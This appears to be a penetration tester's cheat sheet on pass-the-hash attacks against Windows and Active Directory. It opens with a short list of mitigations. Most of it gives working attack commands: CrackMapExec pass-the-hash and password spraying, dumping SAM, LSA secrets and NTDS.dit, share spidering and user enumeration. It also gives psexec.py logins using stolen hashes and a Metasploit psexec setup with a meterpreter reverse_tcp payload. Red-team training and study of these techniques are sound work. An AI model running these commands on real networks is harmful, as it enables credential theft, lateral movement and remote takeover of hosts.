Hard to completely prevent, but we can make it more difficult on an attacker:

- Limit account re-use
  - Avoid re-using local admin password
  - Disable Guest and Administrator accounts
  - Limit who is a local administrator (least privilege)
- Utilize strong passwords
  - The longer the better (>14 characters)
  - Avoid using common words
  - I like long sentences
- Privilege Access Management (PAM)
  - Check out/in sensitive accounts when needed
  - Automatically rotate passwords on check out and check in
  - Limits pass attacks as hash/password is strong and constantly rotated

Examples

- Pass the hash doesn't work with NTLMv2
- Second part of the hash is the one that can be passed

cme

> Crackmapexec
>
> # Usage
>
> ```
> crackmapexec smb <IP/CIDR or range> -u <user> -H <hash> --local-auth
>
> #passpassword
> crackmapexec smb <IP/CIDR or range> -u <user> -d <domain> -p <pass>
>
> # flags
> smb # for smb
> winrm # for winrm
> -u # USER or user.txt
> -p # PASSWORD or password.txt
> -d # domain
> -H # Hash
> --no-bruteforce # 1st user with 1st password, 2nd user with 2nd password etc.
> --continue-on-success # try all
> ---
> # Executions
> -x # Execute a command
> --local # local account
> --local-auth # login
>
>
>
> # gather creds
> --sam # dump sam hahses
> --lsa # dump lsa secrets
> --ntds # dump NTDS.dit
> ```
>
> # SMB
>
> ```
> # smb shares
> -M # module
> spider_plus # run spider_plus module enumurate shares for user run it with one user not files
>
>
>
>
>
> # Examples
> ```

```
cme smb 10.10.10.10 -u edger -p password -M spider_plus
cat /tmp/FILE | jq .
cat /tmp/FILE | jq '. | keys' # filter keys shows open shares etc.
cat /tmp/FILE | jq '. | map_values(keys)'
```

dump all

```
cme smb 10.10.10.1 -u 'john' -p 'password123' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
```

Tags: #passhash #smb #AD #hashdump #impackets #crackmapexec

psexec

psexec

usage

```
psexec.py USUERNAME:PASSWORD@IP
# pass hash
psexec.py USUERNAME:@IP -hashes HASH # need all NTLM hash

psexec.py SHARE/ADMIN_ACCOUNT:"PASSWORD\!"@IP
#  creates a remote service by uploading a randomly-named executable to the hidden Windows ADMIN$ share, registering a service via RPC and the Windows Service Control Manager, and then communicating over named a named pipe

# flags
-hashes # passhash
```

psexec over msfconsole

```
use windows/smb/psexec
set rhosts TARGET IP
set smbdomain DOMAIN
set smbpass and smbuser
set target 2
set payload windows/x64/meterpreter/reverse_tcp
```

Tags: #psexec #impackets #smb #passhash

Tags: #passhash